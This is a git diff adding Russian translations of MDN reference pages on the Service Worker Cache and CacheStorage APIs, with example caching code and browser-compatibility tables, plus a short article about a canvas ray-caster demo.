  • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
    • +
  • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
    • +
  • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом Cache.keys().
    • +
+
+
+ +

Примеры

+ +
caches.open('v1').then(function(cache) {
+  cache.keys().then(function(keys) {
+    keys.forEach(function(request, index, array) {
+      cache.delete(request);
+    });
+  });
+})
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}}[1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}[1]
+
+ +

[1] Параметр options поддерживает только значения ignoreSearch и cacheName. 

+ +

[2] Сервис воркеры (и Push) бы ли отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html new file mode 100644 index 0000000000..a487987497 --- /dev/null +++ b/files/ru/web/api/cache/match/index.html @@ -0,0 +1,151 @@ +--- +title: Cache.match() +slug: Web/API/Cache/match +translation_of: Web/API/Cache/match +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод match() интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в {{domxref("Response")}}, ассоциированный с первым совпадающим запросом в объекте {{domxref("Cache")}}. Если совпадений не найдено, {{jsxref("Promise")}} разрешается в {{jsxref("undefined")}}.

+ +

Синтаксис

+ +
cache.match(request,{options}).then(function(response) {
+  //сделать что-нибудь с ответом
+});
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, который разрешается в первый {{domxref("Response")}}, который совпадает с запросом или в {{jsxref("undefined")}}, если совпадений не найдено.

+ +
+

Замечание: Cache.match() в основном идентичен {{domxref("Cache.matchAll()")}}, за исключением того, что Cache.match() разрешается в response[0] (первый совпадающий ответ) вместо response[] (массив со всеми совпадающими ответами).

+
+ +

Параметры

+ +
+
request
+
Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.
+
options {{optional_inline}}
+
Объект, который задает параметры для операции match. Допустимые значения: +
    +
  • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url.  Например, если оно установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при поиске соответствий ключа. По умолчанию равно false.
    • +
  • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку http метода для запроса  {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь GET и HEAD). По умолчанию равно false.
    • +
  • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда установлено в true, указывает операции сопоставления ключа не проводить проверку соответствия заголовка VARY — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок VARY. По умолчанию равно false.
    • +
  • cacheName: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом  Cache.match().
    • +
+ +

В Chrome поддерживается лишь cacheName.

+
+
+ +

Примеры

+ +

Код взят примера из примера пользовательская оффлайн страница (живой пример).

+ +

Следующий пример использует кеш для предоставления данных, когда запрос не удался. Выражение catch() выполняется когда вызов fetch() возбуждает исключение. Внутри выражения catch(), match() используется для возврата корректного ответа.

+ +

В этом примере, мы решили что кешироваться будут лишь HTML-документы полученные с помощью GET-запроса. Если условие if() равно false, то обработчик не будет вмешиваться в ответ. Если зарегистрированы другие обработчики получения данных, то у них будет шанс вызвать  event.respondWith(). Если ни один из обработчиков не вызовет event.respondWith(), запрос будет обработан браузером, как это было бы сделано без участия сервис воркера. Если fetch() возвращает валидный HTTP ответ к кодом из диапазона 4xx или 5xx, то метод catch() не будет вызван. 

+ +
self.addEventListener('fetch', function(event) {
+  // Мы хотим выполнить лишь event.respondWith() если это GET-запрос HTML-документа.
+  if (event.request.method === 'GET' &&
+      event.request.headers.get('accept').indexOf('text/html') !== -1) {
+    console.log('Handling fetch event for', event.request.url);
+    event.respondWith(
+      fetch(event.request).catch(function(e) {
+        console.error('Fetch failed; returning offline page instead.', e);
+        return caches.open(OFFLINE_CACHE).then(function(cache) {
+          return cache.match(OFFLINE_URL);
+        });
+      })
+    );
+  }
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}} [1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}} [1]
+
+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/matchall/index.html b/files/ru/web/api/cache/matchall/index.html new file mode 100644 index 0000000000..1b2ff77253 --- /dev/null +++ b/files/ru/web/api/cache/matchall/index.html @@ -0,0 +1,134 @@ +--- +title: Cache.matchAll() +slug: Web/API/Cache/matchAll +translation_of: Web/API/Cache/matchAll +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод matchAll() интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.

+ +

Синтаксис

+ +
cache.matchAll(request,{options}).then(function(response) {
+  //сделать что-ниьудь с массивом ответов
+});
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.

+ +
+

Замечание: {{domxref("Cache.match()")}} в основном идентичен Cache.matchAll(), за исключением того, что последний разрешается с response[0] (т.е., первым совпадающим ответом) вместо response (всех совпадающих ответов в массиве).

+
+ +

Параметры

+ +
+
request
+
Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.
+
options {{optional_inline}}
+
Объект options, разрешающий вам установить особые команды контроля поиска соответствий ключа, выполняемого операцией match. Доступные параметры: +
    +
  • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое говорит должен ли  процесс сопоставления ключей игнорировать строку запроса в url.  Если равно true, часть ?value=bar запроса http://foo.com/?value=bar будет игнорироваться при поиске соответствий ключа . По умолчанию равно false.
    • +
  • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, если равно true, предотвращает проверку метода http для запроса {{domxref("Request")}} (обычно разрешены лишь GET и HEAD). По умолчанию равно false.
    • +
  • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда равно true, говорит процессу сопоставления ключей не проверять соответствие заголовка VARY — т.е., если URL совпадает, то вы получите соответствие независимо от того, содержит ли объект {{domxref("Response")}} заголовок VARY, или нет. По умолчанию равно false.
    • +
  • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой имя кеша для поиска. Заметьте, что этот параметр игнорируется методом Cache.matchAll().
    • +
+
+
+ +

Примеры

+ +
caches.open('v1').then(function(cache) {
+  cache.matchAll('/images/').then(function(response) {
+    response.forEach(function(element, index, array) {
+      cache.delete(element);
+    });
+  });
+})
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(47.0)}} [1]{{CompatGeckoDesktop(44)}}[2]{{CompatNo}}34{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(47.0)}}[1]
+
+ +

[1] Параметр options поддерживает только ignoreSearch и cacheName.

+ +

[2] Сервис воркеры (и Push) были отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/put/index.html b/files/ru/web/api/cache/put/index.html new file mode 100644 index 0000000000..a1d6d7080c --- /dev/null +++ b/files/ru/web/api/cache/put/index.html @@ -0,0 +1,109 @@ +--- +title: Cache.put() +slug: Web/API/Cache/put +translation_of: Web/API/Cache/put +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод put() интерфейса {{domxref("Cache")}} позволяет добавлять пары ключ/значение в текущий объект {{domxref("Cache")}}.

+ +

Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.

+ +
fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+
+ +
+

Note: put() will overwrite any key/value pair previously stored in the cache that matches the request.

+
+ +
+

Note: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with Response.status values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.

+
+ +
+

Note: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.

+
+ +

Syntax

+ +
cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+
+ +

Parameters

+ +
+
request
+
The {{domxref("Request")}} you want to add to the cache.
+
response
+
The {{domxref("Response")}} you want to match up to the request.
+
+ +

Return value

+ +

A {{jsxref("Promise")}} that resolves with void.

+ +
+

Note: The promise will reject with a TypeError if the URL scheme is not http or https.

+
+ +

Examples

+ +

This example is from the MDN sw-test example (see sw-test running live). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:

+ +
    +
  1. Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.
    2. +
  2. If not, open the v1 cache using open(), put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using return response.clone(). Clone is needed because put() consumes the response body.
    3. +
  3. If this fails (e.g., because the network is down), return a fallback response.
    4. +
+ +
var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Cache.put")}}

+ +

See also

+ + diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html new file mode 100644 index 0000000000..76de523901 --- /dev/null +++ b/files/ru/web/api/cachestorage/index.html @@ -0,0 +1,205 @@ +--- +title: CacheStorage +slug: Web/API/CacheStorage +tags: + - API + - CacheStorage + - Experimental + - Interface + - NeedsTranslation + - Reference + - Service Workers + - ServiceWorker + - TopicStub +translation_of: Web/API/CacheStorage +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Интерфейс CacheStorage представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованых кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.

+ +

CacheStorage также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом CacheStorage.

+ +

Вы можете получить доступ к CacheStorage через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.

+ +
Заметка: CacheStorage всегда возвращает отказ с SecurityError для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.
+ +
Заметка: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.
+ +

Методы

+ +
+
{{domxref("CacheStorage.match()")}}
+
Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.
+
{{domxref("CacheStorage.has()")}}
+
Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет true, если объект {{domxref("Cache")}} содержит кеш с установленным cacheName.
+
{{domxref("CacheStorage.open()")}}
+
Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с cacheName (если такого нет, то создаст новый).
+
{{domxref("CacheStorage.delete()")}}
+
Находит объект {{domxref("Cache")}}, соответствующий cacheName, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с true. Если объект {{domxref("Cache")}} не найдет, то возвращается false.
+
{{domxref("CacheStorage.keys()")}}
+
Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованым объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.
+
+ +

Примеры

+ +

Фрагмент кода взят с MDN sw-test example (смотри sw-test running live). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.

+ +

Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:

+ +
    +
  1. Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.
    2. +
  2. Если нет, получаем запрос от сети, затем так же открываем кеш, созданный в первом блоке, и добавляем клон запроса в него, используя {{domxref("Cache.put")}} (cache.put(event.request, response.clone()).)
    3. +
  3. Если произошла ошибка (например, из-за отсутствия подключения), возвращаем ответ с отказом.
    4. +
+ +

Наконец, возвращаем ответ, был ли встроенный запрос в итоге равнозначным, используя {{domxref("FetchEvent.respondWith")}}.

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+this.addEventListener('fetch', function(event) {
+  var response;
+  event.respondWith(caches.match(event.request).catch(function() {
+    return fetch(event.request);
+  }).then(function(r) {
+    response = r;
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, response);
+    });
+    return response.clone();
+  }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  }));
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Начальное определение.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункционалChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome(40.0)}}{{CompatGeckoDesktop(44)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
Доступ через {{domxref("Window")}}{{CompatChrome(43.0)}}{{CompatGeckoDesktop(44)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Доступ через {{domxref("WorkerGlobalScope")}}{{CompatChrome(43.0)}}{{CompatGeckoDesktop(44)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункционалAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatChrome(40.0)}}
Доступ через {{domxref("Window")}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
Доступ через {{domxref("WorkerGlobalScope")}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
+ +

[1] Сервисные воркеры (и Push) были отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотри также

+ + diff --git a/files/ru/web/api/cachestorage/match/index.html b/files/ru/web/api/cachestorage/match/index.html new file mode 100644 index 0000000000..6b60a861ce --- /dev/null +++ b/files/ru/web/api/cachestorage/match/index.html @@ -0,0 +1,99 @@ +--- +title: CacheStorage.match() +slug: Web/API/CacheStorage/match +tags: + - API + - CacheStorage + - Service Workers + - Service worker API + - ServiceWorker + - match + - Экспериментальная функция +translation_of: Web/API/CacheStorage/match +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод match() интерфейса {{domxref("CacheStorage")}} (доступный через глобальное свойство caches) проверяет  является ли данный {{domxref("Request")}} или строка url ключом для какого-либо хранимого {{domxref("Response")}}. Метод возвращает {{jsxref("Promise")}} если {{domxref("Response")}} найден, или undefined если нет ни одного совпадения.

+ +

Объекты Cache проверяются в порядке создания.

+ +
Note: {{domxref("CacheStorage.match()", "caches.match()")}} это метод для удобства в работе. Такая функциональность достигается вызовом {{domxref("cache.match()")}} для каждого объекта cache (в порядке полученом запросом {{domxref("CacheStorage.keys()", "caches.keys()")}}) пока {{domxref("Response")}} не будет найден.
+ +

Синтаксис

+ +
caches.match(request, options).then(function(response) {
+  // Какие-либо действия с response
+});
+
+ +

Параметры

+ +
+
request
+
{{domxref("Request")}} для поиска.  Может быть объектом  {{domxref("Request")}} или строкой URL.
+
options {{optional_inline}}
+
Объект, свойства которого определяют, как проверяется совпадение в операции сопоставления. Доступны следующие варианты: +
    +
  • ignoreSearch: {{domxref("Boolean")}} свойство. Определяет, следует ли игнорировать параметры запроса в строке url или нет.  Например, если установлено true, параметры ?value=bar запроса http://foo.com/?value=bar будут проигнорированы во время сопоставления. Значением по умолчанию является false.
    • +
  • ignoreMethod: {{domxref("Boolean")}} свойство. Когда установлено true, предотвращает проверку http метода запроса {{domxref("Request")}}  (обычно разрешены  только GET  и HEAD.) По умолчанию установлено false.
    • +
  • ignoreVary: {{domxref("Boolean")}} свойство, определяющее, следует ли выполнять проверку заголовка VARY. Если установлено true, совпадения будут найдены, независимо от того, имеет ли {{domxref("Response")}} заголовок VARY или нет. По умолчанию установлено false.
    • +
  • cacheName: Строка {{domxref("DOMString")}} - имя кэша для поиска.
    • +
+
+
+ +

Возвращаемое значение

+ +

Метод возвращает {{jsxref("Promise")}} который разрешается совпавшим {{domxref("Response")}}. Если ни одного совпадени не было найдено, promise разрешается с undefined.

+ +

Примеры

+ +

Это пример  из MDN sw-test example (см. sw-test running live). В данном примере, мы слушаем событие {{domxref("FetchEvent")}}. Мы строим проверку ответа следующим образом:

+ +
    +
  1. Проверяем, совпадения для запроса в {{domxref("CacheStorage")}} используя {{domxref("CacheStorage.match","CacheStorage.match()")}}. Если совпадение найдено, возвращаем response.
    2. +
  2. Если нет, открываем v1 объект кэша, используя метод open(), добавляем изначальный запрос в кэш используя {{domxref("Cache.put","Cache.put()")}} и возвращаем клонированный объект запроса, используя return response.clone(). Это необходимо, потому что метод put() сохраняет в кэш тело запроса, изменяя, таким образом, изначальный запрос.
    3. +
  3. Если произошла какая-либо ошибка (например, из-за проблем с сетью), возвращаем резервный ответ.
    4. +
+ +
caches.match(event.request).then(function(response) {
+  return response || fetch(event.request).then(function(r) {
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, r);
+    });
+    return r.clone();
+  });
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#dom-cachestorage-match', 'CacheStorage: match')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CacheStorage.match")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cachestorage/open/index.html b/files/ru/web/api/cachestorage/open/index.html new file mode 100644 index 0000000000..8e7535fdc9 --- /dev/null +++ b/files/ru/web/api/cachestorage/open/index.html @@ -0,0 +1,141 @@ +--- +title: CacheStorage.open() +slug: Web/API/CacheStorage/open +tags: + - API + - CacheStorage + - Experimental + - Method + - Reference + - ServiceWorker +translation_of: Web/API/CacheStorage/open +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

open() метод из {{domxref("CacheStorage")}} интерфейса возвращает {{jsxref("Promise")}} который резолвится в {{domxref("Cache")}} обьект с соответствующим cacheName (именем тега кеша).

+ +
+

Note: If the specified {{domxref("Cache")}} does not exist, a new cache is created with that cacheName.

+
+ +

Синтакс

+ +
caches.open(cacheName).then(function(cache) {
+  //обрабатываем кеш например: cache.AddAll(filesToCache); где filesToCache = ['/mypic.png', ...]
+});
+
+ +

Возвращает

+ +

{{jsxref("Promise")}} который резолвится в запрашиваемый {{domxref("Cache")}} обьект.

+ +

Параметры

+ +
+
cacheName
+
Имя (тег) кеша заданное заранее которое необходимо открыть.
+
+ +

Примеры

+ +

This code snippet is from the MDN sw-test example (see sw-test running live). Here we wait for a {{domxref("FetchEvent")}} to fire. Then we construct a custom response like so:

+ +
    +
  1. Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match")}}. If so, serve that.
    2. +
  2. If not, open the v1 cache using {{domxref("CacheStorage.open")}}, put the default network request in the cache using {{domxref("Cache.put")}} and return a clone of the default network request using return response.clone() — necessary because put() consumes the response body.
    3. +
  3. If this fails (e.g., because the network is down), return a fallback response.
    4. +
+ +
var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop(44)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

See also

+ + diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html new file mode 100644 index 0000000000..72b21d9f5b --- /dev/null +++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html @@ -0,0 +1,46 @@ +--- +title: базовый ray-caster +slug: Web/API/Canvas_API/A_basic_ray-caster +translation_of: Web/API/Canvas_API/A_basic_ray-caster +--- +

{{CanvasSidebar}}

+ +

В этой статье представлен интересный реальный пример использования элемента {{HTMLElement("canvas")}} для выполнения программного рендеринга 3D-среды с помощью Ray-casting.

+ +

{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}

+ +

Открыть в новом окне

+ +

Зачем?

+ +

Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <canvas> о котором я читал, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.

+ +

Хорошие обзор и руководство по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.

+ +

Как?

+ +

Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas доберется до этого, и я хотел посмотреть, смогу ли я это сделать.

+ +

Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездествуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.

+ +

Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  java raycaster, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.

+ +

Результаты

+ +

Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства програмного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.

+ +

Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)

+ +

ray-caster

+ +

Хорошие люди здесь вручную скопировали мои файлы, чтобы вы могли взглянуть, и для вашего удобства я разместил содержимое отдельных файлов в виде списков кодов (см. ниже).

+ +

Так что запустите Safari 1.3+ или Firefox 1.5+ или какой-нибудь другой браузер, который поддерживает элемент <canvas> и наслаждайтесь!

+ +

